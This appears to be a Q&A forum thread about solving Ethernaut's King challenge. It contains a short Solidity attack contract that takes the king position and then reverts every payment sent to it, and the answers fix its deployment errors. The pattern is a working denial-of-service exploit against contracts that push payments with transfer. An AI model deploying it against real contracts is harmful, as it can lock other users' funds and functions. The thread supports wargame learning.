0

I am trying to pass level 9 of Ethernaut challenges known as the King contract.

My designed contract for hacking the King contract is as follows:

pragma solidity 0.8.0;
contract MaliciousKing {
    constructor(address _to) payable {
        address(_to).call{value: msg.value}();
    }

    receive() external payable {
        revert("Not accepting funds");
    }
}

It accepts the arbitrary ETH amount from the user while being deployed, and then it transfers the provided amount to the King contract to achieve the king position via providing more funds than the last king.

However, while entering the address as an argument for this contract to be deployed, I came across an error in my Remix IDE:

enter image description here

Does anyone know how I can make this deployment work? Lastly, I will provide the King contract code, which I am trying to interact with, but I am given the above error.

   pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

So many thanks in advance!

2 Answers 2

1

Firstly, you don't need receive() in MaliciousKing contract as not writing it would do the same.

Secondly, make the address _to payable in the constructor e.g,

constructor(address payable _to) payable

that should solve your problem.

0

you're missing the "" in the last parentheses

this will work

address(_to).call{value: msg.value}("");

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.